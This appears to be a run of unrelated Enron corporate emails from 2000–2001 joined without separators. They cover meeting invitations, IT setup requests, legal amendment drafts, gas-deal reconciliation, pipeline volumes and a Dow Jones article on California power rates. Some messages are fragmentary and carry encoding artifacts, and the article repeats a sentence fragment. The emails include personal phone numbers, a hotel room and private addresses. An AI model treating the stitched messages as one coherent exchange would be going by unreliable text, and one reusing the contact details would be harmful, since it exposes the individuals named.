night party at my house. My mailing list is not complete and is not intended
to exclude any Beta's, so pass the word along to all the brothers.

Elvis
kai

 - SMU Homecoming.doc

Hi Rob -

Ken said "If you'll prepare the remarks, I'll be happy to do this".

Rosie

Rob Bradley
07/19/2000 09:51 AM

To: Kenneth Lay/Corp/Enron@ENRON
cc:  
Subject: Gathering Place Speaking Invitation

If you are inclined to accept this invitation, we could put together an 
interesting talk on the importance of good mental health to business with 
some national statistics and then segue into Enron's emphasis on wellness and 
having fun in the workplace.  Our strategy and experience will be very 
interesting to the group since it shows what a corporate leader is doing to 
become the employer of choice in the marketplace.

You could expect a full house (around 400) for the talk.  If it fits into 
your schedule, Jack Bowen said he would be delighted to be honorary chairman 
of the event.

- Rob

---------------------- Forwarded by Clement Lau/HOU/ECT on 05/16/2000 06:23 
   
	From:  Keith Fraley                           05/08/2000 02:14 PM
	
cc:  
Subject: Maps

George,

Keith and I are reviewing your proposal.  We will send you a response by this 
evening.

Phillip

---------------------- Forwarded by Jason Choate/Corp/Enron on 02/14/2001 
12:12 PM ---------------------------

<christina.piazza@exeloncorp.com> on 01/29/2001 02:59:00 PM
To: jason.choate@enron.com
cc:  

Subject: FW: Mullet

From: Jadranka Semich [SMTP:Jadranka.Semich@add.ssw.abbott.com]
<mailto:[SMTP:Jadranka.Semich@add.ssw.abbott.com]>
Sent: Monday, January 29, 2001 10:49
To: milicasemich@yahoo.com; <mailto:milicasemich@yahoo.com;>  Candace
Friend; Chris.Antonopoulos@heritage-enviro.com;
<mailto:Chris.Antonopoulos@heritage-enviro.com;>  Ryan Piktel;
Sandy_Savich@ML.com; <mailto:Sandy_Savich@ML.com;>
Christina.Piazza@ucm.com; <mailto:Christina.Piazza@ucm.com;>
George.Nwahizu@heritage-enviro.com;
<mailto:George.Nwahizu@heritage-enviro.com;>  niksimic@yahoo.com
<mailto:niksimic@yahoo.com>
Subject: Mullet

---------------------- Forwarded by Jadranka X
Semich/ADD_LAKE_HUB/ADD_HUB/ADD/US on 01/29/2001 10:43 AM

Darlene X Drew
01/29/2001 10:41 AM
To: Amy N Kleiber/ADD_LAKE_HUB/ADD_HUB/ADD/US@ABBOTT
<mailto:Kleiber/ADD_LAKE_HUB/ADD_HUB/ADD/US@ABBOTT> , Tracy L
Vandenbroek/ADD_LAKE_HUB/ADD_HUB/ADD/US@ABBOTT
<mailto:Vandenbroek/ADD_LAKE_HUB/ADD_HUB/ADD/US@ABBOTT> , Jadranka X
Semich/ADD_LAKE_HUB/ADD_HUB/ADD/US@ABBOTT
<mailto:Semich/ADD_LAKE_HUB/ADD_HUB/ADD/US@ABBOTT>
cc:

I don't know if you guy remember when we were in the green room a while ago
and you were schooling me on the mullet.
Well I just got this e-mail and I felt the need to share it with you since
you were nice enough to tell me about it. I hope you find it as entertaining
as I did. Enjoy.

 <<mullet.ppt>>

***
This E-mail and any of its attachments may contain Exelon Corp. proprietary
information, which is privileged, confidential, or subject to copyright
belonging to the  Exelon Corp. family of Companies.  This E-mail is intended
solely for the use of the individual or entity to which it is addressed.  If
you are not the intended recipient of this E-mail, you are hereby notified
that any dissemination, distribution, copying, or action taken in relation
to the contents of and attachments to this E-mail is strictly prohibited
and may be unlawful.  If you have received this E-mail in error, please
notify the sender immediately and permanently delete the original and
any copy of this E-mail and any printout.  Thank You.
***

 - mullet.ppt

Thanks.  I am set up now.  Tracy's cell is 416-919-8907.  We are at the Doubletree Suites 713-961-9000 room 2310.
From: 	Sager, Elizabeth  
Sent:	Tuesday, November 27, 2001 3:55 PM
To:	Gaffney, Chris; Yoder, Christian; Hall, Christopher S.
Subject:	Draft form of assignment when EPMI is buying

 << File: Settlement Agreement.doc >> 

eSource presents Lexis-Nexis training
Attend one of our Lexis-Nexis Basic Clinics: 
    
April 18   8:30 - 10:00 AM EB572
                10:00 - 11:30 AM  EB572

5-7928
The cost is $25.00 Per Person
* Please bring your Lexis-Nexis login ID and password. If you don't have one, 
a guest ID will be provided.

Pablo,

Will you stop by when you get a chance to do the following:

1. set up network connection to laptop
2. download passport and gasselect on desktop and laptop
3. level the monitors

Thanks,
Mike
---------------------- Forwarded by Mike Grigsby/HOU/ECT on 03/11/2001 05:50 

Ina Rangel
03/06/2001 11:21 AM
To: Pablo Torres/Corp/Enron
cc: Mike Grigsby/HOU/ECT@ECT 
Subject: Re: Passport and Gasselect

Pablo,

Can you do this for Mike Grigsby?

Thanks,
Ina
---------------------- Forwarded by Ina Rangel/HOU/ECT on 03/06/2001 11:19 AM 
cc:  
Subject: Re: Passport and Gasselect  

Ina,

Passport will probably need to be set up on Mike's desktop by an IT person. 
Most of the time they have to copy the application from my desktop
to make it work. For Gasselect, I will check with Mike and see if it is 
working. I believe all he needs is the login ID and password to make that 
work.
If you need anything else, let me know.

Thank you very much.  I am working on it as we speak.  I will let you know as soon as it is all signed and sealed!

Hope you have a good weekend as well.

Brandi

You may be receiving messages from the Izio InfoPier Course Management
System about account information and sign-ups for your Evening MBA courses.
Izio InfoPier is a Course Management/Learning Management application.  Haas
is engaged in conducting a pilot study of this application.  Each faculty
member may choose whether or not to use the Izio InfoPier application.  You
can ignore the messages being sent from the Izio InfoPier system.  You are
also welcome to log on to it and took a look http://haas.infopier.com

---
Zane Cooper
Chief Technology Officer and Director of Computing
U. C. Berkeley

----- Forwarded by Linda Robertson/NA/Enron on 01/30/2001 02:58 PM -----

	David Lugar <DLugar@QuinnGillespie.com>
	01/30/2001 02:42 PM
		 
		 To: "'linda.robertson@enron.com'" <linda.robertson@enron.com>
		 cc: 
		 Subject: One Pagers

Linda,

Attached are the one pagers that you ask to have forwarded to you.

David Lugar
Quinn Gillespie and Associates
202-457-1110

 - Dereg v. Rereg one pager.doc
 - California Issue 2 Supply-demand conflict final.doc
 - PRICE CAPS.doc

Rumor has it that Paramount had signed up for the short term emergency firm on Kern.... not that it matters but I was wondering if that was true. 

If so, he may want to hedge this pipe and you guys could spin some orig off of it. 

TIC 

No problem with the plan to send a demand letter to El Paso on the 
measurement issue.  Please include me on distribution for the draft.  
Thanks,  DF

What:	Workstation upgrade for security enhancements and standardization efforts
When:	Schedule as below
How:	Small updates will be performed at login; other larger updates can be performed at your convenience.

This message box will be presented at the end of the upgrade process and provides important information for the larger updates.

If you have any question or issues with this update, ETS users should call the ETS Solution Center at 5-4745 and all others should contact the Resolution Center at 3-1411.

Desktop Architecture

Tentative schedule for update:

Houston Floors	Begin after 12:00 noon on	
ECN 1 - 10 (except 6)	Thursday, October 11	
ECN 11 - 15 (except 14)	Monday, October 15	
ECN 16 - 20	Wednesday, October 17	
ECN 21 - 28 (except 24)	Friday, October 19	
ECN 33 - 38 	Monday, October 22	
ECN 39 - 43 (except Gas Control)	Wednesday, October 24	
ECN 46 - 50	Monday, November 5	
All (including trading floors)	Wednesday, November 7	

---------------------- Forwarded by John Arnold/HOU/ECT on 02/12/2001 05:22 

Rory McCauley <Rory.Mcauley@GFInet.com> on 02/12/2001 01:47:46 PM
To: "'jarnold@enron.com'" <jarnold@enron.com>
cc:  
Subject: Enjoy Bud

 - Jerky Boys - Prank Call to Chinese Restaurant.mp3

http://www.co.montgomery.tx.us/phonbook/

Randy:
Frank Davis will be contacting you today to give you guest access so that you 
can view the website.  This would be the best way for you to view the 
products that are traded.
Carol

Calif DWR Seen Asking PUC To Order 25% Rate Increase Fri

07/13/2001

(This article was originally published earlier Friday.)

LOS ANGELES -(Dow Jones)- The California Department of Water Resources, the
agency purchasing a bulk of the state's power needs in lieu of the three
investor-owned utilities, is expected to tell state regulators Friday that
they need to increase electricity rates by as much as 25%.

This is because there are insufficient funds in the current revenue stream
to cover a $13.4 billion bond sale, three commissioners with the Public
Utilities Commission told Dow Jones Newswires late Thursday.

PUC President Loretta Lynch is expected to issue a draft decision Friday
either endorsing the rate hike request or calling for an audit of the DWR's
current revenue stream before she makes a decision, aides in her office
said.

If the PUC determines that there are not enough funds in the current rate
structure to cover the bond sale, it will have no choice but to order the
rate increase, according to the legislation that put the state in the power
buying business.

Businesses are expected to bear most of the burden of the rate increase,
the second in just two months, if approved by the PUC, the commissioners
said.
"Back in May when we ordered the first rate increase, we said we may be
forced to do it again by the summer," one commissioner said.

"It's unfortunate, but it shouldn't be a shock to anyone. The state has
made an enormous commitment to Wall Street that rates would go up whenever
it's needed to ensure there is enough money to pay off those bonds."

Lynch and a spokesman for the DWR were unavailable for comment late
Thursday.

Separately, Assembly Speaker Pro Tem Fred Keeley, D-Boulder Creek, has
drafted a proposal expected to be introduced into the Assembly Friday or
Saturday that would have large businesses using the most electricity to
finance the bulk of the $43 billion in long-term power supply contracts,
aides in his office said.
Moreover, Keeley's plan is aimed at reducing rates for consumers who use
the least amount of power. Details of the plan are still sketchy, aides
said.

Possible Rate Hike To Generate $2.5B Yearly For State

The 50% rate increase ordered in May is expected to generate $5 billion
annually, and if the PUC orders a 25% increase, that is expected to
generate $2.5 billion. However, it is still unclear if that is enough, the
commissioners said.

the second in four months, if approved by the PUC, the three commissioners
said.
Since January, the state has spent nearly $8.5 billion buying electricity
on behalf of customers of Edison International (EIX) unit Southern
California Edison, Sempra Energy (SRE) unit San Diego Gas & Electric and
PG&E Corp. (PCG) unit Pacific Gas & Electric.

The state has borrowed more than $7 billion from its general fund, which
must be repaid by ratepayers at 6% interest, to purchase power.

In addition, the state has locked itself into $43 billion in long-term
power supply contracts at high prices for as much as 20 years to ensure
there is enough power to meet demand. Future rate increases to finance the
contracts are likely, state officials have said.

But if the PUC orders another rate increase, the money won't benefit the
utilities, which have billions of dollars in power costs to recover.
Instead, it will be used to guarantee Wall Street financial institutions
that there is sufficient funds in the rate structure to allow $13.4 billion
in revenue bonds to be sold.

The bonds are expected to be sold in August or September, said state
Treasurer Phil Angelides.

The commissioners said the PUC and the DWR waited to address another rate
hike to see if state officials and generators were successful in coming to
terms on $8.9 billion the state says it was overcharged for power since
last year.

After two weeks of hearings between generators and a delegation of
California utility executives and energy officials, talks broke down
Monday. Generators offered the state $716 million in refunds, but Gov. Gray
Davis balked, threatening to sue to recover the full $8.9 billion.

Any refunds would have been disbursed to the utilities and the DWR, which
could have deferred the need for any rate increase, according to Steve
Maviglio, press secretary to Davis.

An administrative law judge with the Federal Energy Regulatory Commission
said Thursday he will recommend that the commission not order cash refunds
to California because the state's utilities owe far more money to the
generators than what he thinks the state is owed.

-By Jason Leopold; Dow Jones Newswires; 323-658-3874;

Reservation status has changed. Details of the reservation are listed below:
ASSIGNMENT_REF = 27948
CUSTOMER_CODE = EPMI
SOURCE = presched
SINK = presched
CAPACITY = 25
START_TIME = 01/16/2002
STOP_TIME = 01/17/2002
OFFER_PRICE = 1.95
BID_PRICE = 1.95
PRICE_UNITS = $/mW
SALE_REF =
REQUEST_REF =
DEAL_REF =
NEGOTIATED_PRICE_FLAG =
STATUS = CONFIRMED
STATUS_NOTIFICATION = holden.salisbury@enron.com
STATUS_COMMENTS =
TIME_QUEUED = 01/15/2002
 
TIME_OF_LAST_UPDATE = 01/15/2002
PRIMARY_PROVIDER_COMMENTS =
SELLER_COMMENTS =
CUSTOMER_COMMENTS =
 
Works for us.

"Campbell, Carolyn" <CCampbell@KSLAW.com> on 01/03/2001 04:37:22 PM
cc: "Keffer, John" <JKeffer@KSLAW.com>=20

Subject: FW: Amendment No. to 1 Letter Agreement

Kay:

Please see George Kutzschbach's comments to the amendment below.  I would
accept his comment #2.  What is ENA's reaction to comment #1?  Please
advise.  Thank you. =20

King & Spalding
ccampbell@kslaw.com <mailto:ccampbell@kslaw.com> =20
=01;

From: George Kutzschbach [mailto:gkutzschbach@fulbright.com]=20
Sent: Wednesday, January 03, 2001 3:55 PM
To: Campbell, Carolyn
Cc: DPedigo@INTERGEN.com; jjones@INTERGEN.com
Subject: Re: Amendment No. to 1 Letter Agreement

Carolyn,=20

In addition to Doug's comments regarding the Amendment, the second
sentence of Section 2 of the Original Agreement which is in quotation
marks in paragarah 1 of your draft of the Amendment should be revised in
the following respects:

1)  The outside closing date of "January 15, 2001" should be changed to
"January 22, 2001" to give sufficient time for the Facility Agreement to
be signed after the funding of the escrow; and

2)  The reference to "the Original Agreement" should be to "this
Agreement" since this sentence is being inserted in the Original

George

>>> "Campbell, Carolyn" <CCampbell@KSLAW.com> 01/02/01 05:39PM >>>

 <<2SX801!.DOC>>=20

George:

We have enclosed for your review the initial draft of an amendment to
the
letter agreement pertaining to CA Energy Development I LLC.  Similar
amendments will be prepared for the other two letter agreements.=20
Please
review and advise of any comments at your earliest convenience.  Thank
you.

ccampbell@kslaw.com <mailto:ccampbell@kslaw.com>=20

Enclosure:  130796v1

confidential or otherwise legally exempt from disclosure.  If you are
not the named addressee, you are not authorized to read, print, retain,
copy or disseminate this message or any part of it.  If you have
received this message in error, please notify the sender immediately by
e-mail and delete all copies of the message.

This message is being sent by or on behalf of a lawyer.  It is intended=20
exclusively for the individual or entity to which it is addressed.  This=20
communication may contain information that is proprietary, privileged or=20
confidential or otherwise legally exempt from disclosure.  If you are not t=
he=20
named addressee, you are not authorized to read, print, retain, copy or=20
disseminate this message or any part of it.  If you have received this=20
message in error, please notify the sender immediately by e-mail and delete=
=20

Suzanne,

 Can you give me more details or email  the plan prior to meeting?  What do I 
need to provide besides headcount?
 Otherwise any afternoon next week would be fine

Phillip

---------------------- Forwarded by Darron C Giron/HOU/ECT on 05/09/2001 
09:57 AM ---------------------------

Genaro Mendoza@ENRON
05/08/2001 01:32 PM
cc:  
Subject: Deal 27253 - 04/01

Darron,

Can you please update the 04/01 price for deal # 27253 in Sitara? It 
currently has a rate of $2.3043 (last month's price). The customer invoiced a 
rate of $1.8351.

Thanks,
Genaro

This is a reminder of Enron's Email retention policy.  The Email retention policy provides as follows:

Message Location - Maximum Retention
Inbox - 30 days
Sent Mail Folder - 30 days
Trash/Deleted Items - Rollover from Inbox for one day
Folders - All Email messages placed in folders will be destroyed after one calendar year. This includes public folders in Outlook.

Furthermore, it is against policy to store Email outside of your Outlook Mailbox and/or your Public Folders.  Please do not copy Email onto floppy disks, zip disks, CDs or the network.  Such actions are prohibited and will not be supported by the IT Department.

There will be no exceptions to this policy.

The recruiting season has officially begun.  The first Super Saturday weeke=
nd=20
is the weekend of October 27th and 28th.  We have undergone a rigorous=20
interview process on campus, which will allow us to focus on =01&selling=01=
8=20
candidates that are invited to Houston for Super Saturday.  Students will=
=20
arrive on Friday afternoon and will depart on Sunday morning.  We have=20
activities planned for the entire weekend.  The goal is to implement a Supe=
r=20
Saturday process that allows for consistent and meaningful hiring decisions=
=20
while also allowing the candidates exposure to a greater number of Enron=20
employees.  To that end, we have made the following changes:
Friday Evening Dinner.    The dinners will be held at the same restaurant. =
 =20
We will provide transportation for all candidates.  We will continue to hav=
e=20
small tables of six individuals that will include two (2) Enron employees a=
nd=20
four (4) students.  There will be a group cocktail hour at the restaurant=
=20
before the dinner.  This will enable the Enron employees to meet and evalua=
te=20
more students.  It will also give the students broader exposure to Enron=20
Saturday Interviews.   Interviewers will receive their interview packages=
=20
(schedules and resumes) at breakfast on Saturday morning. This will=20
facilitate last minute cancellations of interviewers and/or candidates.  We=
=20
have allowed time to review resumes before the interview process. To=20
facilitate the completion of the evaluation form on each student, the=20
interviewers will remain in an assigned interview room and the students wil=
l=20
rotate.=20
In prior years, the interviewers have interviewed eight (8) candidates. =20
Interviewers will now interview only five (5) candidates.  The remainder of=
=20
the time will be spent in the decision-making meeting. It is essential that=
=20
all interviewers attend the decision-making meeting and that all evaluation=
=20
forms are completed and input prior to the meeting.=20
Decision-Making Meeting.   Rather than asking the interviewers to return on=
=20
Monday afternoon, we will hold the decision-making meeting on Saturday=20
following the interviews and lunch.  The meetings are scheduled from 1:30 P=
M=20
to 3:30 PM and will be facilitated by members of Enron=01,s executive manag=
ement=20
team.  Dave Delainey will facilitate the October 28 meeting.  Kevin Hannon,=
=20
Jeff Shankman, John Lavorato, Rick Causey and Dan Leff will facilitate=20
subsequent meetings.=20
Need for interviewers.  There has been a tremendous response to the call fo=
r=20
dinner participants; however, we are still in need of interviewers for each=
=20
of the Super Saturdays.  Please respond with your willingness to interview=
=20
at:  http://axis.enron.com/notice/ssinvite.asp   =20
(When selecting dates please avoid selecting to interview candidates who=20
attend the schools for which you are a team member).
We thank you in advance for your participation and support of the program.

Kathy, we may need Colleen Sullivan's interpretation of behind the citygate 
production. Back in January, Noel Bartlo told me these deals stayed with CES 
Retail. John Singer believes the deals stay with him at Enron. If these deals 
stay with Enron, should they be at EES... since they are behind the citygate 
or do they stay with Enron to reduce the TCO delivery to the citygates for 
CES?  This could be a can of worms. 

Colleen, what is the contract interruption? Does the citygate production 
deals stay with Enron? If they stay with Enron, then does CES realize this? 
Are the producers receiving two payments, one from Enron and one from CES. 
Maybe this has already be discussed and decided, but I haven't heard the 
official word.

Currently these citygate production deals are deducted from the citygate 
delivery that CES needs. The numbers that Herndon LDC schedulers provide to 
Enron are reduced by the production. I think Chris put these buy/sells in the 
system to appease John and keep the Enron accounting system whole. Currently 
the market demand tickets in Sitara are reduced by the citygate supply. The 
pathing could be made easier by hooking up the citygate production supply to 
the market demand tickets, but the market demand numbers need to be 
increased. Then you could eliminate the buy/sell tickets that Chris Germany 
has been creating.

However if this production gas is not Enron's, then Enron is creating a lot 
of unnecessary work and the producers are probably receiving two payments.

	From:  Katherine L Kelly @ ECT                           03/13/2000 10:34 AM
	
To: Joan Veselack/Corp/Enron@ENRON, Robert Allwein/HOU/ECT@ECT
cc: Wade R Price/HOU/ECT@ECT 

Subject: Re: CES Pool Gas

Hey guys, I wanted ya'll to see the below messages as well since these are 
TCO deals.  I'm little confused now, because Wade had informed me that these 
were all deals behind the citygate that John Singer had been doing and that 
CES retail was pulling gas directly from these points.  We found a few like 
this on CNG last week.  The way we have been handling this is to show a buy 
from whomever at the citygate and hook it up as a buy/sell with CES retail.  
Chris has been setting up the tickets for the sell to CES retail, but right 
now he's priorities are just a bit different.  I guess why I'm a little 
confused on these is that when I pulled up the Phoenix Dominion it has the 
pool attached to the deal and not one of the CPA's.  

Wade - Do you know whether deal 142669 is pool or a citygate deal?  If it's 
pool, I don't know how we could have missed this all month because we would 
have had to nominate it in Navigator.

Joanie - Do you have any insight into this?

---------------------- Forwarded by Katherine L Kelly/HOU/ECT on 03/13/2000 
10:14 AM ---------------------------
   
	From:  Katherine L Kelly                           03/13/2000 09:58 AM
	
To: Wade R Price/HOU/ECT@ECT
cc: Robert Superty/HOU/ECT@ECT 

I'm sorry Wade, but there definitely seems to be a problem with manpower 
around here.  Chris is in charge of handling all of the CES retail, so he 
needs to set up the corresponding sales and price them.  My hands are kind of 
tied on the pathing until he is able to complete his end.  

Also, I will try to follow up on these, but since these are TCO points, 
please feel free to send further TCO issues to Robert Allwein.  I have only 
been so heavily involved in the CNG because Molly LaFuze has been out on 
vacation.  

09:52 AM ---------------------------

03/13/2000 09:49 AM
To: Brent A Price/HOU/ECT@ECT, Bryce Baxter/HOU/ECT@ECT
cc: Katherine L Kelly/HOU/ECT@ECT, Scott Neal/HOU/ECT@ECT, Colleen 
Sullivan/HOU/ECT@ECT 

Sorry guys.  I'm still working on the February invoice to CES.  I estimate 
that everyday this invoice does not get out cost Enron about $4,000 a day.  
Feel free to call my boss Scott Neal about the problems you are having.

---------------------- Forwarded by Chris Germany/HOU/ECT on 03/13/2000 09:46 

Wade R Price
03/13/2000 09:33 AM
To: Katherine L Kelly/HOU/ECT@ECT, Chris Germany/HOU/ECT@ECT
cc: Bryce Baxter/HOU/ECT@ECT 

John Singer told me these two producers' deals expired 12/31/99.  We will not 
need these set up.

Producer   Pipe  Status

Burkland, Richard  CPA  Deal expired 12/31/99 No need to set up

Burkland, WIlliam S  CPA  Deal expired 12/31/99 No need to set up

What is the status on these producers ?  I have invoices and I need to pay 
these ASAP, especially Questa (they are calling).

Questa Petroleum  CPA   Deal  213088 set up with meter number per 9911 pay 
statement.  Production statement for volumes
      received from John Singer 3/8/00

Phoenix Dominion  CPA/Cipco Deal 142669  Producer invoice available for 
information

T & F Operating  PennFuel Invoice in. Deal not set up. Not able to identify 
which Penn Fuel (56 or 56W) on CGAS

NNG		Scheduled	Load North	Temp		Normal Temp
Oct 26		2560		2805		32		46
Oct 27		2227		2402		39		46
Oct 28		2064		1999		51		46
Oct 29		2083	     Proj  2258	   Proj   44		46	

From: 	Schoolcraft, Darrell  
Sent:	Monday, October 29, 2001 6:48 AM
To:	January, Steve
Subject: TRANSWESTERN 	

Oct. 26	        Scheduled
California	 864
San Juan 	 874
East    		 582

Oct. 27
California	 815
San Juan	 834           
East		 635	

Oct. 28	
California	 836
San Juan	 855
East		 632

Oct. 29
California	 819
San Juan	 838
East		 638

Steve,

Steve, this is the spreadsheet.

Also, please, let Shirley know if the dinner on Sun is OK.

Vince

FYI.  Due to this shut-in, I have taken deal 135714 to zero for the 
17th-29th.  If you hear of this point coming back into service, please notify 
me.

D
---------------------- Forwarded by Daren J Farmer/HOU/ECT on 02/18/2000 
07:10 AM ---------------------------
   
	From:  Gary A Hanks                           02/17/2000 03:39 PM
	
To: Shawna Flynn/HOU/ECT@ECT, Steve Venturatos/HOU/ECT@ECT, Cheryl D 
King/HOU/ECT@ECT
cc: Earl Tisdale/HOU/ECT@ECT, James McKay/HOU/ECT@ECT, Melissa 
Graves/HOU/ECT@ECT, Daren J Farmer/HOU/ECT@ECT, Pat Clynes/Corp/Enron@ENRON 
Subject: Shut-in of meter 0984179 Hoff Heller Unit 22 CDP

Meter 0984179 Hoff Heller Unit #22 CDP was shut-in at approximately 9:20 AM 
today (February 17, 2000).  

On Wednesday, February 16, the meter was found flowing 25 lb dew point gas.  
The pumper was given 24 hours to correct the problem.  On February 17, the 
meter was found flowing 40 lb dew point gas.

If you have any questions please call me at 36449.

Thanks
Gary H

Richard Tobia called to ask me to take a look at their screen as they felt they were gettign updates and a commercial manager should see the progress.  We were able to update prices at a speed of about 4 seconds.  We then attempted to send multiple updates at a speed of about 1 second per update.  True Quote was unable to accept the updates and the link was automatically diconnected by EnronOnline after multiple failures.

There will be a meeting on Wednesday, August 2, 2000 from 9:00 am until 10:00 
am in Conference Room EB3321.  We will be discussing the Triple Lutz and 
Trantula Projects.  I will look forward to seeing you there.

Thanks
Please mark your calendars for the following meeting:

  DATE:    AUGUST 2, 2000
  TIME:     9:00am - 10:00 am
  PLACE:    EB3321
  DISCUSSION TOPICS:  PROJECT TRIPLE LUTZ
       PROJECT TRANTULA

I will look forward to seeing you there.

Thanks. 

----- Forwarded by Richard B Sanders/HOU/ECT on 11/30/2000 09:27 AM -----

	"Page Mobley" <mobleypa@bipc.com>
	11/21/2000 12:59 PM
		 
		 To: <daniel.reck@enron.com>, <George.mcclellan@enron.com>, 
<Matthew.arnold@enron.com>, <Richard.b.sanders@enron.com>, 
<wayne.gresham@enron.com>
		 cc: 
		 Subject: Attached Files

***
Confidential and Privileged.
Do not read if you are not the intended recipient.
Unauthorized use prohibited and taken at your own risk.
****

 - Complain.DOC
 - EnronNor.DOC

Lamentably, I worked all week--no vacation time.  Thanks.

	01/02/2001 01:41 PM
		 
		 To: Sandra McCubbin/NA/Enron, Jeff Dasovich/NA/Enron
		 cc: 
		 Subject: Timekeeping Question

Sandi & Jeff,

I need to check with you both for "correct" Timekeeping concerns that I had 
input your hours correctly for last
week; that is, whether either of you ended up taking any time off last week.  
[Before I left, I had put you both 
down under "Work" hours for Wednesday through Friday (12/27 - 12/29).]

Please let me know today if I need to "adjust" any of your hours as 
referenced above.

Thanks!

Joseph
 
FYI
---------------------- Forwarded by Michelle Cash/HOU/ECT on 04/20/2000 02:45 

"DODD, JEFF" <jdodd@mdck.com> on 04/20/2000 02:32:41 PM
To: "'Michelle.Cash@enron.com'" <Michelle.Cash@enron.com>
cc:  
Subject: RE: Data Protection Agreement to permit transfer of Enron personn el 
data from EU countries to the USA

Yes the two are the new policy and agreement; the "annotated" has not been
revised, but explains the point about Exhibit C to the Agreement.

From: Michelle.Cash@enron.com [mailto:Michelle.Cash@enron.com]
Sent: Thursday, April 20, 2000 1:45 PM
To: jdodd@mdck.com
Cc: Jon.Chapman@enron.com
Subject: RE: Data Protection Agreement to permit transfer of Enron
personn el data from EU countries to the USA

Jeff, I assume that the two attachments are the revised policies.  If that
is not the case, let me know.  Thanks for your follow up.  Michelle

.

"DODD, JEFF" <jdodd@mdck.com> on 04/20/2000 01:13:34 PM

To:   "'Michelle Cash'" <Michelle.Cash@enron.com>
cc:
Subject:  RE: Data Protection Agreement to permit transfer of Enron personn
      el data from EU countries to the USA

Wow. You should have received these awhile ago. We had a virus shutdown,
but
I cannot think of any other reason why you do not have these. Let me state
what I attempted to state in my last message:

     1) As to the Data Protection Agreements, we contemplate that an
Exhibit C will be attached that will describe the non-exclusive types of
information that will be personal data. For your information I am resending
the "annotated" version of this agreement to describe the significance of
the removal of brackets. We also added a section 3.g to allow additions to
the purposes for collection. As the regulators in the EU become more
refined
in their analysis and requirements as to the statement of purpose, you
might
need to alter purposes.

     2) As to the Policy itself, we inserted a line that dates the
revision of the policy, and we added a provision in Section 2 corresponding
to the change in Section 3.g mentioned above.

Please call me to let me know that you got this. Should I send something to
John?!

From: Michelle Cash [mailto:Michelle.Cash@enron.com]
Sent: Monday, April 17, 2000 3:08 PM
Subject: Data Protection Agreement to permit transfer of Enron personnel

Jeff,

What is the status of the document?  I expect that Jon will be calling me
any
day.

Thanks.

Michelle

---------------------- Forwarded by Michelle Cash/HOU/ECT on 04/17/2000
03:08 PM

01/10/2000 02:34 PM

To:   jdodd@mdck.com
cc:
Subject:  Data Protection Agreement to permit transfer of Enron personnel
data
      from EU countries to the USA

Jeff, here is information from Jon Chapman.  Let's discuss when you have a
chance to review it.  Michelle

Michelle,

Further to our discussion on Tuesday , I am very happy to proceed on the
basis
of Jeff Dodd's draft Agreement ( and draft Data Protection Policy) . Can
you
ask
him to prepare a final version and let us have it , please.

The EU "Data Exporter" entities are as follows:-

UK

Enron Europe Limited (also Italy )
Enron Power Operations Limited
Enron Teesside Operations Limited
Enron Direct Limited
Enron Engineering Services
Caxios Limited

Norway and Sweden

Enron Capital & Trade Resources International Corp.

Germany

Enron Energie GmbH

Finland

Enron Finland Energy OY

Spain

Enron Espana Energia S.L.

Note that Norway is not a member of the EU but , as a member of the
European
Economic Area , should be treated as an EU member for these purposes.

Thanks.

Jon

(See attached file: #606521 v2 - ENRON unannotated Data Protection
Policy.doc)
(See attached file: #606631 v2 - data protection agreement-no
annotation.doc)
(See attached file: Annotated Agreement- Not revised since 12-1998.doc)

Mr. Nimocks,

Greg has committed to participate in the conference.  Give me until 
end-of-day tomorrow, for a format preference.

Liz

"Bob Nimocks" <bnimocks@zeusdevelopment.com> on 08/23/2000 09:05:45 AM
To: <Greg.Whalley@enron.com>
cc:  
Subject: RE: FW: Interactive Energy Keynote Session

Liz,

We're considering one of two options:

In the first, Greg would make an independent 20 to 25-minute presentation
followed with 10 to 15 minutes of Q&A. Tim Ling, chairman of TradeRanger,
will open the keynote session at 8:10 with a discussion of the evolution of
his procurement hub and how he and his senior management team intend to
manage fourteen disparate buying organizations through one e-marketplace
representing $120 billion in annual spending.  Tim will be followed by a
McKinsey director, likely to be Ron Hulme or Scott Nyquist, who will discuss
e-business strategy conclusions that McKinsey has drawn concerning the
energy industry.  Greg will then follow in the lineup depending on whether
we start upstream and move down, or vice versa.  We finish at 11:00.

In the second option, Greg would participate in a 90-minute panel with two
to three other executives and moderated by the director from McKinsey. Under
this scenario, Ling opens and is followed by the McKinsey presentation.  The
director then will moderate a panel of three to four executives: Greg; John
Leggate, Group Vice President, IT at BP; Greg Vesey, head of e-business at
Texaco; and/or Brad Kitterman, VP North America, Schlumberger Resource
Management Services.   Each executive would have 10-15 minutes to discuss
his business model and the key issues that the industry must consider during
the next year, followed by Q&A to the entire panel.

Let me know if Greg has a preference to one of these two scenarios and we'll
try to accommodate it.

About the audience:
The audience is consistently made up of a confluence of energy and
technology executives.  About 30% will be comprised of energy professionals
interested in wholesale and retail trading.  For example, we already have
some 70 European gas and electricity executives scheduled to attend.
Cisco's London Office is arranging a Pan American tour for these executives
with a stop at Interactive Energy. Many other wholesale and retail merchants
will also be in attendance, including some large industrial buyers.  Heads
of energy procurement from Ford, United Technologies and e-Mall's (an
eight-state buying consortium's) have attended in the past.

Please let me know if you have further questions.

Thanks,

Bob

From: Liz.M.Taylor@enron.com [mailto:Liz.M.Taylor@enron.com]On Behalf Of
Greg.Whalley@enron.com
Sent: Tuesday, August 22, 2000 7:06 PM

How long are you wanting Greg to speak?  What's the format for the
presentations?  Will there be a Q& A after the presentation?

Liz

"Bob Nimocks" <bnimocks@zeusdevelopment.com> on 08/22/2000 04:31:21 PM

To:   <Greg.Whalley@enron.com>
cc:
Subject:  RE: FW: Interactive Energy Keynote Session

Thanks, Liz. I'll keep my fingers crossed.

Sent: Tuesday, August 22, 2000 3:21 PM
Subject: Re: FW: Interactive Energy Keynote Session

I don't know if you have spoken w/Greg as of yet.  However, I do know he is
trying very hard to work this into his schedule.  I'll get w/him again
tomorrow morning for an answer.

Liz Taylor
Exec. Assistant to Greg Whalley

"Bob Nimocks" <bnimocks@zeusdevelopment.com> on 08/22/2000 11:18:54 AM

To:   <whalley@enron.com>
cc:
Subject:  FW: Interactive Energy Keynote Session

Greg,
Certainly hope you can join us for the keynote session to describe one
year's experience with EOL and what's in store next.  Tim Ling, chairman of
TradeRanger -- the fourteen-company procurement consortium with BP Amoco,
Shell, Unocal, Total Fina and others -- has confirmed.  Still working with
the others.
Bob

From: Bob Nimocks [mailto:bnimocks@zeusdevelopment.com]
Sent: Thursday, August 17, 2000 11:20 AM
To: whalley@enron.com
Subject: Interactive Energy Keynote Session

Greg Whalley
Vice Chairman & CEO, Enron Net Works LLC
Managing Director, Enron Corp.
PO Box 1188
